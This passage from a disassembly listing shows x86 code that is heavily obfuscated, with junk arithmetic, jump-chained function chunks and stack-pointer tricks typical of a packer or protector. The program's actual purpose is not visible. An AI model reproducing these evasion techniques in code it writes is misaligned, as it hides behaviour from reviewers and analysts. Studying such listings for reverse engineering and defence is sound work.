CHUNK FOR sub_59982C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A1976: ; CODE XREF: sub_5AA2D1-5181j pop esi jmp loc_5AE595 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5A197C: ; CODE XREF: sub_5AF2D9-F47j push dx jmp loc_59D5A6 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5A1983: ; CODE XREF: sub_5A9EC5-98B5j add ch, bh mov ebx, [esp+8+var_8] add esp, 4 push 68FDh mov [esp+8+var_8], eax mov al, 0CFh push ecx mov cl, 7Bh inc cl xor cl, 0F9h or al, cl jmp loc_5A24C3 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAF7A loc_5A19A4: ; CODE XREF: sub_5AAF7A+30j mov esi, edi pop edi sub esi, ebp jmp loc_5A109C ; END OF FUNCTION CHUNK FOR sub_5AAF7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A19AE: ; CODE XREF: sub_5AA2D1-A10Dj ; sub_5A9EBF+51DBj mov edx, 2427719Bh sub edx, 1A233D75h push edx jmp loc_5ADBC6 ; --------------------------------------------------------------------------- loc_5A19BF: ; CODE XREF: sub_5AA2D1-8F43j mov edx, 23A3310Fh jmp loc_5A9942 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A503A loc_5A19C9: ; CODE XREF: sub_5A503A-38A1j jl loc_5A973B xor edi, 7FF50635h jmp loc_5A9039 ; END OF FUNCTION CHUNK FOR sub_5A503A ; --------------------------------------------------------------------------- xor eax, ebp mov cl, 8Fh ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_5A19DE: ; CODE XREF: sub_5AD993-121Bj mov ch, 0A1h neg ch jnz loc_5AF673 jmp loc_5A7E4B ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push esi mov esi, esp mov al, dl pop esi ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A19F7: ; CODE XREF: sub_5992DA+E524j and eax, ebp jmp loc_5A4967 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5A19FE: ; CODE XREF: sub_59EE3E+907Cj ; sub_59E94B+B094j pop edi sub ebp, 3263944h add ebp, edx add ebp, 3263944h sub ebp, 709B5EF2h pop edx xchg ebp, [esp+0] pop esp jmp loc_59DDA9 ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A1A1D: ; CODE XREF: sub_5A6BBC-2002j jo loc_59DD5C shr cl, 1 jmp loc_599237 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D37E loc_5A1A2A: ; CODE XREF: sub_59D37E+2123j ; sdfs____:005A46F4j mov cl, 1Dh jmp loc_5AF3F3 ; END OF FUNCTION CHUNK FOR sub_59D37E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A4E8 loc_5A1A31: ; CODE XREF: sub_59A4E8+E04Dj add esi, 4 sub esp, 4 mov [esp+8+var_8], eax jmp loc_5AB158 ; END OF FUNCTION CHUNK FOR sub_59A4E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5A1A42: ; CODE XREF: sub_59A7E7+2A4j ; sdfs____:005A1C13j pop ebx add bl, 0A2h sub bl, ch push ecx mov cl, 12h sub cl, 0D2h push ecx not byte ptr [esp+8+var_8] pop ecx jmp loc_59A812 ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- loc_5A1A58: ; CODE XREF: sdfs____:005AF111j mov eax, 618A4A73h sub eax, 19CB69AEh jmp loc_5AC457 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DE4B loc_5A1A67: ; CODE XREF: sub_59DE4B-ADAj add esp, 4 sub ebp, 17A4413Eh push edx mov edx, 4D3364DEh not edx sub edx, 38FC6ABCh jmp loc_5A5E3A ; END OF FUNCTION CHUNK FOR sub_59DE4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A1A86: ; CODE XREF: sub_59CBE1+B07Fj ; sub_5AAFCA-19C2j push ecx push esp pop ecx sub esp, 4 mov [esp+0], eax push 346h jmp loc_5AFCC1 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A54C9 loc_5A1A99: ; CODE XREF: sub_5A54C9-437Ej sub ecx, 0D3288900h xor ebp, ecx pop ecx sub ebp, 3370C5A2h add edi, ebp pop ebp push esi jmp loc_5A8AA6 ; END OF FUNCTION CHUNK FOR sub_5A54C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_5A1AB1: ; CODE XREF: sub_5AFA26-FC84j xor edx, eax xor eax, edx neg eax ja sub_5A4840 push ebx mov ebx, 3A183923h sub ebx, 574156E3h add ebx, 33163057h jmp loc_59E459 ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0377 loc_5A1AD4: ; CODE XREF: sub_5B0377-CDE3j add edi, 28F17EBDh jmp loc_5AC291 ; END OF FUNCTION CHUNK FOR sub_5B0377 ; --------------------------------------------------------------------------- loc_5A1ADF: ; CODE XREF: sdfs____:005A1BD2j pop edi mov ecx, [esp] add esp, 4 push eax mov eax, 1F1E0820h not eax jmp loc_5A168A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A1AF6: ; CODE XREF: sub_5992DA+1A32j xor ch, 0EFh add al, ch pop ecx add al, ch sub al, 0EFh pop ecx push ecx mov cl, 0CFh jmp loc_5AC040 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- loc_5A1B09: ; CODE XREF: sdfs____:005AE5FDj push esi mov esi, 725F0697h or esi, 2BD76BAh push ebp push ebx push 4F864C7h jmp loc_5A9A52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A1B21: ; CODE XREF: sub_5B01F7-10260j or ebp, 444B5EC0h xor ebp, 81C732Ah xor ebp, 7FE32CE7h jmp loc_5A7C1B ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59AA62 loc_5A1B38: ; CODE XREF: sub_59AA62+AD4Bj push 4407h mov [esp+0Ch+var_C], ecx push ebp mov ebp, 55E61F97h push edx sub esp, 4 mov [esp+18h+var_18], ecx mov ecx, 38CC587Ah mov edx, 2BD41B31h add edx, ecx pop ecx xor edx, 57272520h shr edx, 1 and edx, 76C807C1h sub edx, 93D7A5AEh add ebp, 492354FEh jmp loc_5A250D ; END OF FUNCTION CHUNK FOR sub_59AA62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A1B7C: ; CODE XREF: sub_5AA2D1-7ED5j shl dl, 3 push ebx mov bl, 0D5h add dl, bl mov ebx, [esp+10h+var_10] add esp, 4 add ch, dl jmp loc_5A1CC3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_5A1B91: ; CODE XREF: sub_599D0E+B8BEj add esp, 4 pop [esp+2+var_4+2] pop esp push dx mov dl, 92h push edx mov dh, 87h jmp loc_59B389 ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A1BA7: ; CODE XREF: sub_5992DA+890Bj xor eax, [esp-4+arg_0] xor [esp-4+arg_0], eax xor eax, [esp-4+arg_0] pop esp jmp loc_59F993 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A1BB6: ; CODE XREF: sub_5A477C-6C71j jmp loc_5A6718 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A1BBB: ; CODE XREF: sub_5AA2D1-F0C6j mov [esp+0Ah+var_C+2], esp add [esp+0Ah+var_C+2], 4 jmp loc_5A6419 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_5A1BCA: ; CODE XREF: sdfs____:0059B3FDj add edi, 0F064C1E7h add edx, edi jmp loc_5A1ADF ; --------------------------------------------------------------------------- loc_5A1BD7: ; CODE XREF: sdfs____:00599994j push ecx jmp loc_5A7460 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A1BDD: ; CODE XREF: sub_5A0AA2+B1DDj jmp loc_599A19 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A1BE2: ; CODE XREF: sub_5992DA+11496j add eax, 4 jmp loc_5A1BA7 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5648 loc_5A1BEA: ; CODE XREF: sub_5A5648+8DBDj push ecx mov ecx, 61CD2CE8h sub ecx, 18414CB2h add ecx, 0B310A4Dh jmp loc_59BEEF ; END OF FUNCTION CHUNK FOR sub_5A5648 ; --------------------------------------------------------------------------- loc_5A1C01: ; CODE XREF: sdfs____:005AA9B8j mov [esp], edx mov dh, 2Ah neg dh jnp loc_5A643C jmp loc_5A8A44 ; --------------------------------------------------------------------------- jno loc_5A1A42 add cl, 0F3h pop esi ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5A1C1D: ; CODE XREF: sub_5A77D5-5F4Dj sub eax, 53AD5C01h mov ecx, [eax] mov eax, [esp+4+var_4] add esp, 4 mov ebx, [esp+0] jmp loc_5ABB34 ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A1C35: ; CODE XREF: sub_5A118F-AF8j dec ebx xor ebx, 8E519B0h js loc_5ACA35 shr ebx, 7 jp loc_5A30FE add ebx, 4ECC9DC7h push ebx pop ecx mov ebx, [esp+0] add esp, 4 shr ecx, 6 sub ecx, 16E0B8AAh push ebx mov ebx, ecx push ebx add [esp+4+var_4], 38CA139Fh pop esi jmp loc_59E51B ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03B3 loc_5A1C76: ; CODE XREF: sub_5B03B3-11683j add ecx, 4 xchg ecx, [esp+0] pop esp shl edx, 4 xor edx, 470B4928h add eax, edx mov edx, [esp-4+arg_0] push edx push esp pop edx jmp loc_5ADB28 ; END OF FUNCTION CHUNK FOR sub_5B03B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A1C96: ; CODE XREF: sub_59B69D:loc_5A06CDj ; sub_5992DA+11FF2j pop dx jmp loc_5B0208 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A1C9D: ; CODE XREF: sub_5A0FFF+10E7j add edx, esi pop esi and edi, edx pop edx push ecx mov ecx, 0F9503467h add edi, ecx pop ecx sub ebp, edi mov edi, [esp+8+var_8] add esp, 4 jmp sub_5A7746 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A577C loc_5A1CBC: ; CODE XREF: sub_5A577C+84A7j add edi, edx jmp loc_5AD8E3 ; END OF FUNCTION CHUNK FOR sub_5A577C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A1CC3: ; CODE XREF: sub_5AA2D1-8745j pop edx sub ch, 0F3h jnb loc_59C49B or ch, 0E7h jmp loc_5AED6D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5A1CD5: ; CODE XREF: sub_5AF2D9-52A9j mov esp, [esp+0Eh+var_10+2] add ebp, 0C4FDFCBCh jmp sub_5A81C4 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_5A1CE3: ; CODE XREF: sub_59F4D2+1771j mov ebx, 735C68D8h sub ebx, 735C68D4h add ecx, ebx mov ebx, [esp+0] add esp, 4 sub esp, 4 mov [esp+0], ecx push [esp+arg_0] push [esp+4+var_4] jmp loc_5AFC2E ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A1D0B: ; CODE XREF: sub_5992DA+16F39j add bl, 0Fh sub bl, 53h add bl, cl add bl, 53h sub bl, 0Fh push 4704h jmp loc_5A92F7 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A1D23: ; CODE XREF: sub_5A2E41+94D5j add edx, esi sub edx, 11A17B6Dh sub edx, 0CA45FC1h pop esi jmp loc_5A0B58 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A917C loc_5A1D37: ; CODE XREF: sub_5A917C+35j shr edi, 2 inc edi sub edi, 16CF8147h jmp loc_5AE763 ; END OF FUNCTION CHUNK FOR sub_5A917C ; --------------------------------------------------------------------------- loc_5A1D46: ; CODE XREF: sdfs____:005AB52Aj mov [esp], ax jmp loc_59910F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD213 loc_5A1D4F: ; CODE XREF: sub_5AD213+2Bj push [esp+4+var_4] pop ebx push 2968h mov [esp+8+var_8], esi sub esp, 4 jmp loc_5A6976 ; END OF FUNCTION CHUNK FOR sub_5AD213 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5A1D66: ; CODE XREF: sub_5AD795-B6DCj mov edi, [esp+4+var_4] push edi mov edi, esp add edi, 4 add edi, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_599FF2 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A1D89: ; CODE XREF: sub_5992DA+10D3Fj xor dh, ch pop ecx sub esp, 4 mov [esp-6+arg_0+2], eax push ecx mov ch, dh mov al, ch mov ecx, [esp+0] push ebx mov ebx, esp add ebx, 4 push esi mov esi, 2DC26B6Fh push edi mov edi, 19EE48B4h jmp loc_5A4B9A ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- loc_5A1DB4: ; CODE XREF: sdfs____:0059C590j shl esi, 1 jz loc_5A8267 sub esi, 8D58EBFEh push edi mov edi, esi jmp loc_59B588 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAB66 loc_5A1DCA: ; CODE XREF: sub_5AAB66+3j add ebp, 4 sub ebp, 4 xor ebp, [esp+4+var_4] xor [esp+4+var_4], ebp jmp loc_5A5FDF ; END OF FUNCTION CHUNK FOR sub_5AAB66 ; --------------------------------------------------------------------------- loc_5A1DDE: ; CODE XREF: sdfs____:005AC67Aj push edi mov edi, esp add edi, 4 push eax mov eax, 4 add edi, eax pop eax xchg edi, [esp] pop esp push edi mov edi, esp push esi mov esi, 49295B3Ah and esi, 795A7F72h shr esi, 8 jmp loc_5AA035 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A71F0 loc_5A1E0B: ; CODE XREF: sub_5A71F0-80B5j add eax, ecx add eax, 75B62E55h push ecx mov ecx, 0 add ecx, eax jmp loc_5A0CB6 ; END OF FUNCTION CHUNK FOR sub_5A71F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A1E1F: ; CODE XREF: sub_5A118F-4CB2j mov edi, 1DD77C73h jmp loc_59EDBE ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE29C loc_5A1E29: ; CODE XREF: sub_5AE29C-7C2Bj add ebp, eax jmp loc_5A8EBA ; END OF FUNCTION CHUNK FOR sub_5AE29C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A1E30: ; CODE XREF: sub_59C979+5CCCj add esp, 4 push ebp mov ebp, esp jmp loc_5A5F2B ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB08D loc_5A1E3E: ; CODE XREF: sub_5AB08D+4F29j mov edx, [esp+0Ch+var_C] add esp, 4 push ebx mov ebx, 796A4CABh xor ebx, 42CE4436h jmp loc_59996C ; END OF FUNCTION CHUNK FOR sub_5AB08D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A1E55: ; CODE XREF: sub_5AA2D1-327Fj sub edi, 0D4D0677h jmp loc_5992C7 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B95E loc_5A1E60: ; CODE XREF: sub_59B95E+4455j add esi, 2988124Bh add esi, edx sub esi, 2988124Bh jmp loc_599D64 ; END OF FUNCTION CHUNK FOR sub_59B95E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B3C9 loc_5A1E73: ; CODE XREF: sub_59B3C9-2092j mov edi, esp add edi, 4 jmp loc_5AD614 ; END OF FUNCTION CHUNK FOR sub_59B3C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A10E3 loc_5A1E80: ; CODE XREF: sub_5A10E3+3596j sub ebx, 28C565B0h sub ebx, 3DA15C5Fh push edi mov edi, 2DC12AC9h add edi, 0E30F4ACCh sub ebx, edi pop edi jmp loc_5A6219 ; END OF FUNCTION CHUNK FOR sub_5A10E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC18D loc_5A1EA0: ; CODE XREF: sub_5AC18D-10A66j push ecx mov ch, bh mov [eax], ch jmp loc_5AA2DF ; END OF FUNCTION CHUNK FOR sub_5AC18D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5A1EAA: ; CODE XREF: sub_5A9EC5-10A53j sub ch, 0F3h add ch, 73h jmp loc_5AB15E ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A1EB5: ; CODE XREF: sub_5A477C-5BBEj mov [esp-14h+arg_10], ecx jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A1EBD: ; CODE XREF: sub_5A0FFF-1004j ; sub_59AFE7+FF36j sub ecx, edi pop edi xchg ecx, [esp-4+arg_0] jmp loc_5A11D8 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- loc_5A1EC8: ; CODE XREF: sdfs____:00599530j pop esi add esi, 4 add esi, 2 jmp loc_59A3F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59ED98 loc_5A1EDA: ; CODE XREF: sub_59ED98-36BCj sub bl, dh add bl, 72h mov edx, [esp+4+var_6+2] add esp, 4 add al, 0B2h sub al, bl jmp loc_5A6026 ; END OF FUNCTION CHUNK FOR sub_59ED98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D18A loc_5A1EF1: ; CODE XREF: sub_59D18A+Fj pop eax sub [esp+8+var_4], 7AD638A5h push ecx mov ecx, 7C0D318Ch sub [esp+0Ch+var_4], ecx pop ecx jmp loc_5A4CC5 ; END OF FUNCTION CHUNK FOR sub_59D18A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A1F0A: ; CODE XREF: sub_5992DA+DEE7j mov [esp+0Ah+var_C+2], eax push [esp+0Ah+var_C+2] mov edi, [esp+0Eh+var_10+2] add esp, 4 add esp, 4 jmp loc_5ABAF0 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A1F21: ; CODE XREF: sub_5AA2D1-10E7Dj mov ebp, edi jmp loc_5AC717 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A1F28 proc near ; DATA XREF: sdfs____:00598FECo var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A36BD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A3DA1 SIZE 00000020 BYTES mov cx, [esp+0] push 5D32h mov [esp+4+var_4], esi push ebp mov ebp, esp add ebp, 4 push ebx jmp loc_5A36BD sub_5A1F28 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A1F43: ; CODE XREF: sub_5B01F7-11989j mov ecx, 5DD7717Fh neg ecx push eax mov eax, 6D73557Ah jmp loc_5AC120 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD243 loc_5A1F55: ; CODE XREF: sub_5AD243-11A79j add eax, ebx add eax, 677F6D3Eh push ecx jmp loc_59A4F9 ; END OF FUNCTION CHUNK FOR sub_5AD243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59AE39 loc_5A1F62: ; CODE XREF: sub_59AE39+8AE0j add eax, ebp sub eax, 371F19FDh sub eax, 123C6B60h jmp loc_5A9C03 ; END OF FUNCTION CHUNK FOR sub_59AE39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A1F73: ; CODE XREF: sub_59D6B8+DD5Ej mov ebx, esp jmp loc_5A6745 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A1F7A: ; CODE XREF: sub_5ADD33-1147Dj mov esi, 7E452AC3h add esi, 47AD3E3Dh and esi, 4C0F79CDh add esi, 56EC2BB5h jmp loc_5A9DE0 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A1F96: ; CODE XREF: sub_5A0AA2-1F63j and ecx, 57090D71h neg ecx not ecx jmp loc_5AC8A6 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A1FA5: ; CODE XREF: sub_5A7BA0-B84Fj ; sub_5A4D9D+963Fj xchg ebx, [esp-4+arg_0] jmp loc_5998F4 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; =============== S U B R O U T I N E ======================================= sub_5A1FAD proc near ; CODE XREF: sub_5ADD13-C6FCj push ebx mov ebx, 4E426B86h push esi mov esi, 3A52258Ch mov ecx, 869DD2Eh jmp loc_5A096C sub_5A1FAD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5A1FC3: ; CODE XREF: sub_5A580F-40D3j pop ebp push 5A1Ah jmp loc_5A25FA ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7746 loc_5A1FCE: ; CODE XREF: sub_5A7746-16Bj mov ebp, 5C874B0h mov ecx, 41313D4Eh xor ecx, ebp pop ebp neg ecx inc ecx push eax mov eax, 497115B9h shl eax, 4 not eax dec eax push 5469h mov [esp-4+arg_0], eax add [esp-4+arg_0], 0FFFFFFFFh pop eax and eax, 5615509h jmp loc_5A61FB ; END OF FUNCTION CHUNK FOR sub_5A7746 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5B27 loc_5A2001: ; CODE XREF: sub_5A5B27-47EFj push dword ptr [esp+0] pop edi push 624Bh jmp loc_5A6D85 ; END OF FUNCTION CHUNK FOR sub_5A5B27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A200F: ; CODE XREF: sub_59C979+CE00j sub esi, 7E54271Fh add esi, eax sub esp, 4 mov [esp+6+var_6], eax jmp loc_59B0B8 ; --------------------------------------------------------------------------- loc_5A2025: ; CODE XREF: sub_59C979+C0C6j add ebp, 0D5E1098Fh xor edx, ebp jmp loc_59FC80 ; --------------------------------------------------------------------------- loc_5A2032: ; CODE XREF: sub_59C979+1B62j push eax mov eax, 4 add edi, 3C7320DFh add edi, eax sub edi, 3C7320DFh pop eax jmp loc_5A7ED6 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A204C: ; CODE XREF: sub_5A2E41+CCAj push 791Fh mov [esp+18h+var_18], ecx jmp loc_5AD034 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A2059: ; CODE XREF: sub_5AA2D1-5D1Ej not ebx jmp sub_5A3947 ; --------------------------------------------------------------------------- loc_5A2060: ; CODE XREF: sub_5AA2D1-53D1j jmp loc_59BBCE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A2065 proc near ; CODE XREF: sub_59CBE1+C89Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 005A4765 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005ACC21 SIZE 0000001F BYTES push ebp mov ebp, 4 add ebx, ebp jmp loc_5A4765 sub_5A2065 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB179 loc_5A2072: ; CODE XREF: sub_5AB179+1j mov ebp, 453E0712h sub eax, 354811D8h push ebp mov ebp, 5A466C9Bh shl ebp, 4 shr ebp, 2 shl ebp, 8 not ebp push edi mov edi, 30AF344Fh and ebp, edi pop edi jmp loc_5AF6DC ; END OF FUNCTION CHUNK FOR sub_5AB179 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A209B: ; CODE XREF: sub_5A2E41-492Bj ; sub_5AC803-B63Fj sub eax, 4FEDED09h add ebx, eax pop eax or ebx, 11C51055h xchg eax, ebx xchg eax, ebx push ebx xchg eax, [esp+4+var_4] not eax jmp loc_59EA40 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5A20B6: ; CODE XREF: sub_5AD795-12AE3j push dword ptr [esp+0] jmp loc_5A1D66 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A20BE: ; CODE XREF: sub_5A0FFF-4AA9j xchg esi, [esp+0] pop esp push edi mov edi, 4FEE40A8h xor edi, 530F6EF2h push edx mov edx, 767B5E7Bh sub edx, 1 push esi mov esi, 340A6D85h sub esi, 56A0A139h jmp loc_5A1C9D ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- lodsd xor eax, ebx push esi jmp loc_59CEAD ; --------------------------------------------------------------------------- loc_5A20F4: ; CODE XREF: sdfs____:005A0140j mov ebx, 520A1341h sub [esp+8], ebx pop ebx mov esi, [esp] add esp, 4 mov edi, [esp] jmp loc_5AC655 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A210C: ; CODE XREF: sub_59C979-2A2Ej add ebx, esi push edi mov edi, 683C2089h jmp loc_59AA90 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF3AA loc_5A2119: ; CODE XREF: sub_5AF3AA+24j add ebp, 4 xchg ebp, [esp+10h+var_10] pop esp pop eax push 330Bh mov [esp+0Ch+var_C], edx mov edx, esp jmp loc_59E541 ; END OF FUNCTION CHUNK FOR sub_5AF3AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB82 loc_5A2133: ; CODE XREF: sub_59DB82+Dj mov ebp, ebx mov ebx, [esp+0] add esp, 4 xor ebx, ebp jmp loc_5A6B6D ; END OF FUNCTION CHUNK FOR sub_59DB82 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5A2142: ; CODE XREF: sub_5A77D5+2376j shr ecx, 6 jmp sub_5A00E2 ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR 